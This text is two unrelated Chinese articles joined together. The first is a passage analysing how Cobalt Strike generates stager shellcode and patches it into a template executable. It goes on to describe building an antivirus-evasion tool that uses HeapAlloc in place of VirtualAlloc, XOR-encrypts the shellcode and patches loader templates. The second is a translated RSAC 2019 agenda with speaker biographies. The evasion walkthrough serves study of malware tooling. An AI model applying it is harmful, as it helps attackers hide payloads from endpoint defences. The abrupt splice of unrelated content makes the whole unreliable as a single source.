getStager() 方法调用了 aggressor\DataUtils.shellcode() ，而这里其实是Stagers的接口：
return Stagers.shellcode(s, "x86", b);
最终在 stagers\Stagers.shellcode() 根据监听器类型，
实例化了继承自的 GenericStager 的 stagers\GenericHTTPStager 类，并由 generate() 生成
shellcode
shellcode生成时，读取了resources/httpstager.bin，并根据监听器的host和port等值组合为Packer，最终替换到多个X、Y占位的bin文件中，最后返回bytes[]
类型的shellcode
## Patch Artifact
shellcode生成完成后，回到原点，可以看到根据用户的选择，对不同的artifact模板进行patch，以x86的模板为例。
继续跟进patchArtifact
common\BaseArtifactUtils.class
稍微看一下fixChecksum，是通过PE编辑器修复了校验码。
这里不赘述了，对编辑器实现感兴趣的可以去看看pe\PEEditor.class
注意看这里this._patchArtifact(array, s)，调用了同名方法，PS：差点以为在看Python
读取了resources文件夹下的artifact32.exe作为模板文件，根据重复的1024个A来定位shellcode位置。
与生成shellcode时类似，使用common/CommonUtils.replaceAt()对bytes流转为的字符串进行编辑替换。
使用16进制编辑器可以直接看到用于标志存放shellcode的位置。
值得一提的是，替换shellcode之后的pe文件，因为shellcode长度没有完全覆盖到标识的1024个A，一般生成的exe都会残留部分字符，当然这并不会影响shellcode的执行。
## Shellcode Launcher
利用加载器远程回连获取下一阶段payload加载到内存中执行以规避杀软的探测，这种VirtualAlloc到WriteProcessMemory的分配内存模式早已被众多远控木马软件广泛利用。
CS开发者在其最新的介绍视频中披露了部分artifact的源码，并演示了如何通过修改加载器绕过了Defender的查杀。
他通过用HeapAlloc来代替VitualAlloc，躲避了大部分的杀软。
在这个基础上，我们添加了对shellcode进行异或加密的功能，显然一个非常精简的基于c++的shellcode加载器就成形了。
然后参考CS的方式，在本应放置shellcode的buf中，置入大量重复的占位符作为定位。
python -c "print(1024*'A')"
用VisualStudio或MingW将其编译为template.exe。
## 开发免杀小工具
新建一个JavaFx的项目，样式与部分代码参考某chaos免杀小助手。
捋下流程，首先需要对CS或MSF的shellcode进行预处理，然后进行异或加密，读取模板文件，定位到shellcode位置，进行覆盖，最后保存。
有很多类直接可以从CS复制过来就能用。
重点看下xor，为了跟launcher解密一致，需要先转换为int类型进行异或，然后再转回hex，最终打包为jar
生成veil类型的payload，复制粘贴，生成，保存。
最终免杀效果取决于Launcher模板，作为一个非常精简、没什么改动的模板，效果已经出乎意料了。
毕竟目的并非追求免杀效果，而应注重于理解CS木马的Artifact生成机制。 | 社区文章 |
# PPT公布 | RSAC大会亮点议题观看指南
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**RSA官网：<https://www.rsaconference.com/events/us19>**
**链接：<https://pan.baidu.com/s/1gkcb0KxqhKqKypL2kqefHA> **
**提取码： cf9a**
## 会议简介
3月4日至8日，国际知名信息安全峰会RSA Conference
2019（RSAC2019或RSA2019大会）拉开序幕。简而言之，今年RSA大会的主题是“Better”（更好），这代表更努力地寻求更好的解决方案、与全世界各地的同行建立更好的联系、保持数字世界的安全性，让每个人都能享受更加美好的现实生活。关于这个主题，大家可移步[此处](https://www.rsaconference.com/about/themes)了解更多含义。
RSA大会希望能将网络安全领域的专业人士聚集在一起，也汇聚整个行业中“我们”的合力。大会在各方面细节上都追求多样性及包容性（D&I），“欲变世界，先变其身”（
**Be the change we want to see**
），安全客将持续为大家带来大会的精彩报道，大家可以访问[此处](https://www.rsaconference.com/events/us19/agenda/diversity-and-inclusion)了解此次大会的4项指导原则。
## 会议时间
美国东部时间3月4日至8日
## 会议地点
美国旧金山
## 演讲（keynote）阵容
本次RSA大会汇集了众多大咖，初步名单如下，大家可以定期查看更新列表，了解新确认的演讲嘉宾。今年RSA大会将分为两大部分：西展厅（West
Stage）继续用于赞助商展览、主题展示以及嘉宾演讲，南展厅（South Stage）则会借助新开设的莫斯康中心南厅（Moscone Center
South），将行业专家精彩的思想带给广大观众。
## 3月5日议程
### Rohit Ghai（RSA主席）& Niloofar Razi Howe（网络安全战略家和企业家）
**演讲主题：** 信任格局
**时间：** 3月5日08:10-08:35
**地点：** 西展厅
Rohit Ghai是戴尔技术公司RSA业务的总裁，负责推广RSA的Business-Driven Security™解决方案，帮助客户管理数字风险。
他经营的软件和SaaS组织专注于高监管市场中的网络安全和信息管理方面业务，为全球客户提供数字和安全转型方面的建议。
Niloofar Razi
Howe担任技术投资人、执行董事和企业家已有25年之久。在过去的十年里，她一直专注于网络安全领域，曾担任RSA战略和运营高级副总裁，以及Endgame，Inc.的首席战略官。在担任运营职务之前，她曾在私募股权和风险投资领域带领交易团队12年。Howe是TEDx演讲“The
Gift of Exile”的创作者，讲述了最困难的生活挑战所带来的机遇，以及寻求不同观点的重要性。
Howe以优异成绩毕业于哥伦比亚大学，拥有哈佛大学法学院法学博士学位，并且是外交关系委员会的终身会员。
### Celeste Fralick博士（迈克菲首席数据科学家）& Steve Grobman（迈克菲高级副总裁兼首席技术官）
**演讲主题：** 是瓶中闪电还是烧毁房子
**时间：** 3月5日08:35-08:55
**地点：** 西展厅
Celeste
Fralick是迈克菲的卓越分析中心的主席，负责监管消费者和企业产品的技术分析战略，也负责公司的内部商业智能业务。作为英特尔物联网小组的首席数据科学家，Fralick为八个以上的不同市场开发了机器学习和深度学习分析技术。
她在多个行业和学术委员会以及期刊编辑人员中任职，并撰写了“Intelligent Analytics: Bringing Analytics to the
Internet of Things”（Springer出版社）。Fralick在Arizona State
University的生物医学工程专业获得博士学位，专注于预测分析和神经科学领域。
Steve
Grobman是迈克菲的高级副总裁兼首席技术官，他设定了技术战略和方向以创建能够保护全球智能、互联计算设备和基础设施的技术。Grobman领导的组织专注于开发下一代网络防御和数据科学技术、研究威胁和漏洞、运维迈克菲的CISO组织。
在加入迈克菲之前，Grobman曾在英特尔公司担任与网络安全相关的高级技术领导职位长达20多年。他撰写了大量技术论文和书籍，拥有27项美国专利。
Grobman在北卡罗来纳州立大学获得计算机科学学士学位。
### Liz Centoni（思科高级副总裁|总经理，思科物联网） & Matt Watchinski（思科Talos全球威胁情报组副总裁）
**演讲主题：** 机器的崛起：如何在下一波威胁前保持领先地位
**时间：** 3月5日08:55-09:15
**地点：** 西展厅
作为思科物联网业务集团的总经理|高级副总裁，Liz
Centoni负责制定业务和工程方向，规划战略和解决方案。自2000年加入思科以来，Centoni在众多工程高级领导职位上表现出色，包括高级副总裁、计算系统产品组总经理、工程战略与组合规划副总裁。
Centoni在思科发起了女性工程领导论坛，拥有University of Mumbai化学科学学士学位，辅修物理和数学。
Talos在全球拥有300多名研究人员，是世界上最大的商业威胁情报组织。 Matt
Watchinski负责监督思科安全产品和服务所需的所有情报活动，以确保客户的安全。Watchinski之前领导Sourcefire的漏洞研究小组，负责威胁情报和检测。在思科收购Sourcefire之后，Watchinski开始聚焦领导力和热情，利用思科的人员及资源来保护客户，最终促成了Talos的创建。
Watchinski服务于网络威胁联盟（CTA）董事会，帮助促进其成员之间的合作和情报共享，改善所有共同客户的体验。
### 密码学专家讨论会
**时间：** 3月5日9:20-10:05
**地点：** 西展厅
**主持人：** Zulfikar Ramzan博士（RSA首席技术官）
**小组成员：**
Whitfield Diffie（密码学家和安全专家，Cryptomathic公司）
Shafi Goldwasser（Simons计算理论研究所所长）
Ronald Rivest（麻省理工学院教授）
Adi Shamir（以色列魏茨曼研究所计算机科学博士）
### Susan Hennessey（布鲁金斯学会治理研究高级研究员，Lawfare执行编辑）& Christopher A.
Wray（联邦调查局局长）
**演讲主题：** FBI：身处打击网络威胁核心
**时间：** 3月5日10:05-10:30
**地点：** 西展厅
Susan
Hennessey是布鲁金斯学会治理研究国家安全高级研究员，也是Lawfare的执行编辑，致力于对“艰难的国家安全选择”进行清醒和认真的讨论。她重点关注与网络安全、监督相关的国家安全问题。在加入布鲁金斯之前，Hennessey是国家安全局总法律顾问办公室的律师。
在美国国家安全局任职期间，她在信息保障和网络安全事宜提供了运营要素方面的建议，并代表该机构在网络安全立法和相关行动上进行活动。
Hennessey在哈佛大学法学院获得法学博士学位，在加州大学洛杉矶分校获得学士学位。
Christopher A.
Wray于1997年开始担任司法部职务，曾担任佐治亚州北部地区助理美国检察官，起诉的案件涉及公共腐败、枪支贩运和金融诈骗等案件。
2003年，Wray被乔治·W·布什总统提名担任刑事司助理检察长。除了监督刑事事务外，他还在该部门不断承担的国家安全使命中发挥关键作用。
Wray曾在总统的企业欺诈特别工作组就职，监管Enron Task Force（安然工作组）。
### Paula Januszkiewicz（CQURE首席执行官）
**演讲主题：** 让黑客兴奋的十大方法：那些不值一提的捷径
**时间：** 3月5日11:00-11:50
**地点：** 南展厅
Paula Januszkiewicz是CQURE Inc.和CQURE
Academy的创始人兼首席执行官，她是企业安全MVP、CEE微软区域荣誉总监和世界级网络安全专家，为世界各地的客户提供咨询服务。 她是Microsoft
Ignite、RSA Conference、Black Hat 2018 USA和Gartner Security
Summit等会议的高级发言人。她的演讲能将成千上万人汇聚起来。Januszkiewicz在网络安全、渗透测试、架构咨询、培训和研讨会方面拥有15年的经验。她已经完成了数百个安全项目，其中包括政府组织和大型企业项目。她也为各种组织和高层管理人员制定过安全意识培训计划。更重要的是，Januszkiewicz可以访问Windows源代码！
### Dave Shackleford（SANS研究所高级讲师）
**演讲主题：** 云安全架构研讨会
**时间：** 3月5日13:00-13:50
**地点：** 南展厅
Dave Shackleford是IANS的首席讲师、Voodoo
Security的所有者和首席顾问、SANS的高级讲师和课程作者。他曾在安全性、合规性和网络架构与工程领域方面咨询过许多组织，并且是一名VMware
vExpert，在设计和配置安全虚拟化基础架构方面经验丰富。他曾担任IANS的首席技术官、Configuresoft的首席安全官、Center for
Internet Security的首席技术官，以及多家财富500强企业的安全架构师、分析师和经理。他是《Virtualization Security:
Protecting Virtualized Environments》一书的作者，目前在SANS技术研究所董事会任职，并帮助领导Cloud
Security Alliance的亚特兰大分部。
### Emily Heath（美国联合航空公司副总裁兼首席信息安全官）
**演讲主题：** 36,000英尺高空的安全性
**时间：** 3月5日14:20-15:10
**地点：** 南展厅
Emily
Heath是美联航的副总裁兼首席信息安全官，她负责监管该航空公司的全球信息安全计划，也负责IT监管、治理和风险管理职能。Heath是航空信息共享和分析中心（A-ISAC）和国家技术安全委员会（NTSC）的董事会成员，是风险投资公司Cyberstarts的顾问委员会成员，也是网络安全非营利组织Security
Advisor
Alliance的董事会成员。Heath来自英国曼彻斯特，之前是英国金融犯罪部门的一名警探，负责调查国际投资欺诈、洗钱和大规模身份盗窃案件，曾与FBI、SEC和伦敦Serious
Fraud Office联合调查。
### Ira Winkler（Secure Mentem总裁）
**演讲主题：** 30多年安全意识实践中汲取的经验教训
**时间：** 3月5日15:40-16:30
**地点：** 南展厅
作为一名注册信息系统安全专家（CISSP），Ira Winkler是Secure Mentem的总裁和《Advanced Persistent
Security》一书的作者。他被认为是世界上最具影响力的安全专家之一，并被媒体提名为现代的詹姆斯邦德。Winkler曾在接受CSO颁发的CSO
COMPASS Award时，被CSO杂志评为“The Awareness
Crusader”。Winkler为来自世界各地、所有行业、各种规模的组织设计、实施安全意识提升计划并提供相应支持。Winkler能够提供间谍攻击模拟服务，从物理和技术层面对世界上规模最大的公司进行模拟攻击，通过调查提供具有显著效益的预防措施。
## 3月6日议程
### Stuart McClure（Cylance Inc.董事长兼首席执行官）& Brian Robison（Cylance Inc.首席布道官）
**演讲主题：** 黑客大曝光：如何绕过NextGen解决方案（现场演示）
**时间：** 3月6日08:00-08:50
**地点：** 南展厅
作为Cylance的CEO，Stuart
McClure带领Cylance首个实现基于数学的威胁检测、保护和响应方法。在加入Cylance之前，McClure曾担任McAfee/Intel全球首席技术官兼总经理、执行副总裁。
McClure是有史以来最为成功的《Hacking
Exposed》一书的创作者及主要作者。McClure具备广泛且深入的安全知识，广受大家认可，并且是当今信息安全行业领先的一名权威。
Brian Robison是Cylance的首席布道官（Chief
Evangelist），他让全世界意识到预防网络安全威胁是实际上可能完成的一个任务，并且效果比攻击后再检测和响应更好。在加入Cylance之前，Brian花了5年时间帮助保护移动设备上的企业数据，有3年在Citrix担任技术营销总监，2年在Good
Technology推动企业产品战略。在进入移动安全领域之前，Brian专注于端点安全性以及风险和合规性方面事务。Brian在McAfee承担领导职务，成功推出ePolicy
Orchestrator，也负责管理漏洞和策略合规性解决方案。在加入McAfee之前，Brian在Tripwire, Inc的7年职业生涯中担任过许多职务。
### Bruce Schneier（哈佛肯尼迪学院研究员及讲师）
**演讲主题：** 安全技术人员在公共政策中的作用
**时间：** 3月6日09:20-10:10
**地点：** 南展厅
Bruce Schneier是著名的安全技术专家，被The Economist评为安全大师。他出版过大约十几本书，包括最新著作：《Click Here to
Kill Everybody: Security and Survival in a Hyper-Connected
World》，也发表过数百篇文章、论文和学术论文。 他的通讯刊物“Crypto-Gram”和博客“Schneier on
Security”影响巨大，受众已超过25万人次。Schneier是哈佛大学伯克曼克莱因互联网与社会中心的研究员、哈佛肯尼迪学院公共政策讲师、电子前沿基金会、AccessNow和Tor项目的董事会成员，也是EPIC和VerifiedVoting.org的顾问委员会成员。Schneier还是IBM
Security的特别顾问和IBM Resilient的首席技术官。
### Ann Johnson（微软网络安全解决方案部门企业副总裁）
**演讲主题：** 挖掘人的力量：通过技术和社区扩大人力潜能
**时间：** 3月6日10:30-10:50
**地点：** 西展厅
作为微软网络安全解决方案部门的企业副总裁，Ann
Johnson负责监管全球最大的科技公司之一网络安全解决方案的市场战略。她领导并推动了微软短期和长期安全解决方案路线图的演变和实施，并与市场营销、工程和产品团队保持一致。在加入微软之前，Johnson曾任职过一些执行领导职位，包括Boundless
Spatial的首席执行官、漏洞管理先驱Qualys公司的总裁兼首席运营官，以及EMC公司子公司RSA Security的全球身份和欺诈销售副总裁。
### Nikesh Arora（Palo Alto Networks CEO兼董事长）& Jayshree Ullal（Arista
Networks总裁兼CEO）
**演讲主题：** 揭秘成功的云探索道路
**时间：** 3月6日10:55-11:15
**地点：** 西展厅
Nikesh Arora是Palo Alto Networks的首席执行官，于2018年6月加入公司。在加入公司之前，Arora曾担任SoftBank
Group Corp.的总裁兼首席运营官，并在Google
Inc担任多个职位（包括首席商务官）。在加入Google之前，Arora曾担任德国电信股份有限公司T-Mobile国际部门的首席营销官，也曾是T-Motion PLC的首席执行官兼创始人（后者在2002年与T-Mobile International合并）。Arora拥有Northeastern
University的硕士学位、Boston College的硕士学位以及Institute of Technology at Banaras Hindu
University的技术学士学位。
Jayshree Ullal过去十年一直担任Arista
Networks的总裁兼首席执行官，任职期间建立了数十亿美元的云网络业务，并在整个行业内建立了战略联盟。
Ullal曾担任思科高级副总裁，负责上百亿美元规模的数据中心、交换和服务业务。凭借30多年的网络经验，Ullal获得了众多奖项，包括2018年Barron的“World’s
Best CEOs”奖项。Ullal拥有电气工程学士学位和工程管理硕士学位，是2013年和2016年SFSU和SCU杰出校友奖的获得者。
### 互联网的武器化
**时间：** 3月6日11:15-11:55
**地点：** 西展厅
**主持人：** Ted Schlein（Kleiner Perkins普通合伙人）
**小组成员：**
Nathaniel Gleicher（Facebook网络安全负责人）
Del Harvey（Twitter信任与安全副总裁）
Robert Joyce（国家安全局高级顾问）
Peter Warren Singer（新美国战略家）
### Paul Nakasone将军（美陆军、网络司令部、国家安全局指挥官）& Olivia Gazis（CBS News情报与国家安全记者）
**演讲主题：** 战略竞争：持续存在与创新的崛起
**时间：** 3月6日13:30-14:20
**地点：** 南展厅
Paul
Nakasone将军于2018年5月就任现职，他曾于2016年10月至2018年4月领导美国陆军网络司令部。Nakasone曾在美国、韩国、伊拉克和阿富汗的任务中担任过各级军队的指挥和领导职务。他曾领导美国网络司令部的网络国家特派团，也在连、营和旅级担任领导职务，并担任营、师和军团级别的高级情报官员。Nakasone也曾两次担任参谋长联席会议（Joint
Chiefs of Staff）参谋长。
Olivia Gazis负责CBS News的情报和国家安全方面内容，她还负责Intelligence
Matters，这是由前中央情报局副局长Michael Morell主办的一个播客。 她以前是Hearst
Newspapers的调查研究员，她的报道团队在新闻行业成果颇丰，因此获得过Sigma Delta Chi
Award。她在普林斯顿大学获得公共政策和国际事务学士学位、在哥伦比亚大学新闻学研究生院获得硕士学位。Gazis是富布赖特学者（Fulbright
Scholar），掌握波兰语、法语和意大利语，并在学习俄语和希腊语。
### Amit Elazari博士（英特尔公司全球网络安全政策总监，加州大学伯克利分校信息学院讲师）& Keren
Elazari（K3r3n3.com分析师兼研究员）
**演讲主题：** 从反乌托邦到机遇：来自网络安全未来的故事
**时间：** 3月6日14:50-15:40
**地点：** 南展厅
Amit
Elazari是英特尔公司全球网络安全政策总监、加州大学伯克利分校信息与网络安全信息学院（MICS）讲师，她拥有加州大学伯克利分校法学院的法学博士学位（J.S.D.），毕业于Summa
Cum Laude，获得三个法律和商业学位（B.A.、LL.B.及LL.M.）。
Elazari在信息安全法律和政策领域方面颇有研究，已在业内领先的技术法律期刊上发表成果，也曾在Black Hat、USENIX Enigma、USENIX
Security、BsidesLV、BsidesSF和DEF
CON等会议上发表研究成果，主要的新闻网站（如华尔街日报、华盛顿邮报和纽约时报）也经常有她的身影。因在信息安全正规化方面及为安全研究人员探索未知领域方面的成果，Amit于2018年获得Center
for Long Term Cybersecurity（CLTC）资助。此外，Amit还接受过律师培训，并曾在以色列执业。
Keren
Elazari曾与行业领先的以色列安全公司、政府机构、四大合作过，并为财富500强和突破性创业公司提供咨询服务，帮助全球组织解决复杂的网络安全问题，工作经验超过18年。Elazari因研究成果和关于新兴安全问题的分析文章已经被国际媒体、TED，Wired，Forbes等杂志采访过。Elazari拥有Tel
Aviv University的安全研究硕士学位，是Singularity
University的访问学者。Elazari是BSidesTLV和Leading Cyber
Ladies的共同创立者，致力于通过友好的黑客社区来连接主流安全行业。
### Sandra Joyce（FireEye全球情报部门高级副总裁）& Kevin Mandia（FireEye首席执行官）
**演讲主题：** 来自网络安全前线的观点
**时间：** 3月6日16:00-16:25
**地点：** 西展厅
作为FireEye的全球情报运营高级副总裁，Sandra
Joyce负责为FireEye网络威胁情报客户和FireEye安全产品提供情报收集、研究、分析和支持服务。Joyce在国家安全和商业领域担任过19年的产品管理、业务开发和情报研究职位。Joyce在美国空军预备队服役，是National
Intelligence University（国家情报大学）的教员。她拥有外国语学士学位，拥有国际事务、科学技术情报和军事操作艺术和科学3个硕士学位。
Joyce掌握英语、西班牙语和德语3门语言，居住在弗吉尼亚州。
Kevin
Mandia自2016年6月起担任FireEye首席执行官，自2016年2月起担任FireEye董事会成员。Dynia于2013年12月加入该公司，当时FireEye收购了他于2004年成立的Mandiant公司。Mandiant提供的安全事件管理产品和服务仍然是今日FireEye的核心咨询业务。Mandia在信息安全方面已经耕耘了20多年，并且一直处在帮助组织应对计算机安全漏洞的最前线。Mandia曾是美国空军军官，在五角大楼的第7通讯组担任计算机安全官，在空军特别调查办公室（AFOSI）担任特工。
### Donna Brazile（资深民主党政治战略家、兼职教授、作家及联合专栏作家） & Mary Matalin（知名保守派人士、前任总统顾问）
**演讲主题：** 与Donna Brazile和Mary Matalin对话
**时间：** 3月6日16:25-6:50
**地点：** 西展厅
Donna Brazile是民主党全国委员会的前任临时主席，是霍华德大学Gwendolyn S.和Colbert I. King
Endowed公共政策主席、乔治城大学兼职教授。自1976年以来，Brazile参与了每一次总统竞选活动。2000年，Brazile是Al
Gore的竞选经理，也是第一位担任重大总统竞选活动经理的非洲裔美国人。Brazile曾在215多所大学讲学，并获得了十多个荣誉博士学位，是纽约时报最畅销的作家。
作为国家最重要的保守政治战略家和评论员之一，Mary
Matalin因其敏锐的洞察力、学者气息以及对当前热门话题和政治热点的严肃态度而备受赞赏。Matalin曾担任乔治·H·W·布什总统1992年连任竞选的副竞选经理，后来担任乔治·W·布什总统的助理和副总统迪克·切尼的参赞。
Matalin与她的丈夫詹姆斯·卡维尔（James Carville）共同撰写了全美畅销书《All’s Fair: Love, War, and
Running for President》。Matalin还撰写了《Letters to My Daughters》，共同出演由由George
Clooney制作的HBO电视剧“K Street”，并共同主持了“Both Sides Now”广播节目。
### Megan Smith（shift7首席执行官，2014-2017担任美国第三任首席技术官）
**演讲主题：** 技术和创新方法如何改变您的组织
**时间：** 3月6日16:50-17:15
**地点：** 西展厅
Megan Smith是屡获殊荣的一名科技企业家、工程师和布道者。
作为美国第三任首席技术官，Smith帮助总统驾驭技术、数据和创新的力量来推动国家和世界未来的发展。在担任美国首席技术官之前，Smith曾担任Google新业务开发副总裁，负责管理公司全球工程和产品团队的早期合作伙伴关系。作为PlanetOut的首席执行官，Smith曾在互联网发展初期担任LGBT在线社区的领导者。如今Smith是shift7的首席执行官，该公司专注于技术前沿的网络化创新，追求影响力和经济和谐发展。
****
## 3月7日议程
### Josh Corman（PTC首席安全官）& Christina Maslach博士（加州大学伯克利分校荣誉心理学教授）
**演讲主题：** 压力、倦怠和你：与Christina Maslach博士的炉边聊天
**时间：** 3月7日08:00-08:50
**地点：** 南展厅
Joshua
Corman是iamthecavalry.org的创始人和PTC的首席安全官。Corman此前曾担任大西洋理事会网络技术计划主任、Sonatype首席技术官、Akamai安全情报总监，承担高级研究、分析师和战略规划角色。Corman联合创办了[@RuggedSoftware](https://github.com/RuggedSoftware
"@RuggedSoftware")和[@IamTheCavalry](https://github.com/IamTheCavalry
"@IamTheCavalry")，鼓励采用新的安全方法以应对全球日益依赖数字基础设施的问题。
Corman在人为因素、攻击者动机和社会影响方面具有一套独特的安全方法，使他成为安全领域最值得信赖的人物之一。Corman还是卡内基梅隆大学亨氏学院和国会医疗保健行业网络安全工作组的兼职教师。
Christina
Maslach是加州大学伯克利分校健康工作场所中心心理学（荣誉）教授和研究员，从哈佛大学获得了文学学士学位，并在斯坦福大学获得了博士学位。Maslach被广泛认为是职业倦怠的先驱研究者之一，撰写了大量文章和书籍，并开发了领先行业的研究措施（Maslach
Burnout
Inventory）。Maslach的一些文章具有较大的重要性和影响力，也因此载誉而归。Maslach因出色的倦怠研究获得终身职业成就奖，并获得多项教学和服务奖，也获得过全国Professor
of the Year（年度教授）称号。
### Dmitri Alperovitch（CrowdStrike的联合创始人兼CTO）& George Kurtz（CrowdStrike CEO）
**演讲主题** ：黑客大曝光：如何攻击Macs
**时间：** 3月7日9:20-10:10
**地点：** 南展厅
Dmitri
Alperovitch是CrowdStrike的联合创始人兼首席技术官。他是大名鼎鼎的研究人员，也是网络安全战略的思想领袖，并曾担任国防部的特别顾问。2016年，Alperovitch揭露了俄罗斯情报机构对民主党全国委员会（DNC）的攻击行为，这些事件揭开了针对2016年美国大选的全方位网络行动。2010年和2011年，Alperovitch带领全球团队调查并揭露了Aurora组织、Night
Dragon和Shady RAT等网络间谍入侵活动，也最早给这些攻击组织及活动打上标记。Alperovitch获得了无数奖项和表彰，包括财富杂志的“40
Under 40”、Politico 50、麻省理工学院的“Innovators Under 35”以及Foreign Policy的Leading
Global Thinker荣誉。
George
Kurtz是CrowdStrike的总裁、首席执行官兼联合创始人、Foundstone的前首席执行官/创始人、迈克菲前执行副总裁兼全球首席技术官，也是国际公认的安全专家、作家和企业家。Kurtz拥有Seton
Hall大学的学士学位，还获得了多个行业认证，包括注册信息系统安全专家（CISSP），注册信息系统审计师（CISA）和注册会计师（CPA）。Kurtz还撰写了有史以来最畅销的安全书：《Hacking
Exposed: Network Security Secrets＆Solutions》
### Mary O’Brien（IBM Security总经理）& Caleb Barlow（IBM Security副总裁，X-Force威胁情报）
**演讲主题：** 不用顾虑正确的方向
**时间：** 3月7日10:30-10:55
**地点：** 西展厅
IBM Security是全球最大的企业安全公司，而Mary O’Brien是IBM
Security的总经理，她领导着一个全球团队，负责推广IBM的各种安全产品和服务。O’Brien是网络安全行业许多CEO、CISO以及CIO的战略合作伙伴。在接任IBM安全部门负责人之前，O’Brien曾领导该部门的研发工作。作为一名终身工程师，O’Brien在英国、美国和爱尔兰拥有超过30年的行业经验。
Caleb Barlow是IBM Security的高级安全专家和副总裁，负责领导IBM的X-Force威胁情报组织。X-Force
Command是世界上最先进的网络感知平台，而Barlow是X-Force
Command背后的思想家。Barlow底蕴雄厚，可以领导技术团队进行产品开发、产品管理、战略制定、市场营销和云服务交付。Barlow领导了多项收购计划，比如Fiberlink
MaaS360以及Net Integration
Technologies。Barlow会定期与首席信息安全官员、董事会和政府官员沟通安全实践、框架和策略方面内容，为管理与网络安全相关的业务上的风险提供建议。
### SANS研究所讨论会：5种最危险的新型攻击技术及对策
**时间：** 3月7日10:55-11:40
**地点：** 西展厅
**主持人：** Alan Paller（SANS研究所研究总监兼创始人）
**小组成员：**
Heather Mahalik（ManTech取证工程总监，SANS Institute移动取证教程主管）
Ed Skoudis（SANS研究所讲师）
Johannes Ullrich（SANS技术研究所研究院院长）
### Kyla Guru（Bits N’Bytes网络安全教育创始人兼CEO）
**演讲主题：** 安全少女的传奇故事
**时间：** 3月7日14:24-14:45
**地点：** 西展厅
Kyla Guru今年16岁，白天就读于伊利诺伊州迪尔菲尔德高中，晚上则是一名安全行业的超级女侠。
在高一那年夏天，Guru发现自己在网络安全方面具有独特热情，对保护人们未来的技术非常着迷。在此基础上，Guru还了解到目前国家基础设施中90%的网络攻击都是由于人为错误造成的。为了应对这一问题，Guru创建了Bits
N’Bytes Cybersecurity，这是一个全国性组织，现在已经与各个学区、Facebook和IBM等公司以及Discovery
Education等教育平台建立了20多个国家级合作伙伴关系，这些努力都旨在提高人们在隐私和网络安全方面的意识。
### 数据防护的未来：适应隐私权保护讨论会
**时间：** 3月7日14:50-15:40
**地点：** 南展厅
**主持人：** J. Trevor Hughes（IAAP总裁兼首席执行官）
**小组成员：**
Kalinda Raina（LinkedIn高级总监兼全球隐私负责人）
Ruby Zefo（Uber首席隐私官）
### Pat Gelsinger（VMware CEO）& Shannon Lietz（Intuit总监）
**演讲主题：** 安全行业尚未涉及（但应该涉及）的三件事
**时间：** 3月7日16:00-16:25
**地点：** 西展厅
Pat
Gelsinger自2012年9月起担任VMware的首席执行官。在他任职期间，公司的规模几乎翻了一番。Gelsinger拥有超过35年的技术和领导经验。
在加入VMware之前，Gelsinger曾担任EMC的信息基础架构产品业务总裁兼首席运营官。
作为一名受人尊敬的IT行业资深人士，他在英特尔工作了30年，成为该公司的首位首席技术官，推动创建了包括USB和WiFi在内的关键行业技术。Gelsinger领导英特尔成为微处理器的主要供应商，同时担任过80486处理器的架构师。
Shannon Lietz是一位屡获殊荣的创新者，拥有数十年的高级安全防御和下一代安全解决方案的经验。 Lietz目前是Intuit
DevSecOps负责人，负责设置和推动公司DevSecOps和云安全战略、路线图的实施，以便支持企业创新。
Lietz经营着一个24×7小时的DevSecOps团队，专门从事攻击行为管理事务。在加入Intuit之前，Lietz曾在ServiceNow工作，负责云安全工程工作。在Sony她负责推动新安全数据中心的实施。
Lietz拥有领导危机管理、大规模安全漏洞和服务恢复方面经验，曾为多家财富500强公司服务。
### John T. Chambers（思科前任董事长兼CEO，C2 Ventures创始人兼CEO）& Diane Brady（屡获殊荣的作家及顾问）
**演讲主题：** 点聚未来
**时间：** 3月7日16:45-17:30
**地点：** 西展厅
作为JC2 Ventures的创始人兼CEO，John
Chambers致力于帮助来自世界各地的颠覆性创业公司的建立和成长，他投资过领先于市场转型的公司，如Aspire Food
Group、Balbix、Bloom
Energy、Dedrone、IoTium、Lucideus、OpenGov、Pindrop、Privoro、Rubrik、SparkCognition、Sprinklr和Uniphore。
他是Bloom Energy、OpenGov、Pindrop和Sprinklr的董事会成员。 Chambers是《Connecting the Dots:
Lessons for Leadership in a Startup World》的作者，他在其中分享了数字时代中失败和保持持续成功的新规则。在创立JC2
Ventures之前，Chambers在思科工作了25年以上，担任首席执行官，董事长兼执行主席。
Diane Brady是一位屡获殊荣的作家和顾问，她喜欢以激发新思维的方式将人和思想联系起来。
Brady曾为彭博商业周刊、华尔街日报和麦克莱恩等单位采访过许多世界领先的商业和政治人物。
Brady写过两本书，包括与Chambers合作的《Connecting the Dots》，也是BBC
World的定期特邀嘉宾。通过自己的公司，Brady现在会与领导者和合作伙伴合作，通过引人注目的对话和内容吸引广大民众。
## 3月8日议程
### Bob Lord（民主党全国委员会首席安全官）& Hugh Thompson博士（RSA会议计划主席）
**演讲主题：** 被某次攻击唤醒：来自经验丰富的CISO的思考
**时间：** 3月8日08:30-09:20
**地点：** 南展厅
Bob
Lord是民主党全国委员会的首席安全官，将自己在信息安全领域20多年的经验带给委员会及州政党。在此之前，他曾担任雅虎首席信息安全官，负责风险管理、产品安全、安全软件开发、电子犯罪和APT项目等领域。更早之前，他曾担任Rapid
7的常驻首席信息安全官（CISO），最早曾从事Twitter的信息安全计划相关工作。
### Sylvia Acevedo（Girl Scouts of the USA CEO）
**演讲主题：** （女孩）寻觅人才：下一代的解决方案
**时间：** 3月8日9:50-10:40
**地点：** 南展厅
作为Girl Scouts of the USA的CEO，Sylvia
Acevedo致力于为所有女孩提供前沿的、有良好研究支持并且以女孩为中心的项目，确保得力干将（go-getter）、创新者（innovators）、挑战者（risk-taker）以及leader（领导者）成为国家劳动者主力，这也是Girl
Scouts倡导的G.I.R.L.s理念。Sylvia在Girl
Scouts首先发现自己对太空和天文学充满热情，这份热情也指引自己成为NASA喷气推进实验室的火箭科学家，也是屡获殊荣的STEM企业家。Sylvia是最早从斯坦福大学获得工程学硕士学位的西班牙裔学生之一，也是《Path
to the Stars: My Journey from Girl Scout to Rocket
Scientist》一书的作者。这本书是献给学生们的回忆录，希望激励学生们过上自己的生活。
### 基于先前经验探讨云时代的工程信任及安全
**时间：** 3月8日11:10 – 12:00
**地点：** 南展厅
**主持人：** Quentin Hardy（Google Cloud编辑负责人）
**小组成员：**
Suzanne Frey（Google Cloud工程副总裁）
Amin Vahdat（Google研究院兼网络技术负责人）
###
###
### Tina Fey（作家，女演员和制片人）& Hugh Thompson博士（RSA会议计划主席）
**演讲主题：** 与Tina Fey的对话
**时间：** 3月8日12:30-13:15
**地点：** 西展厅
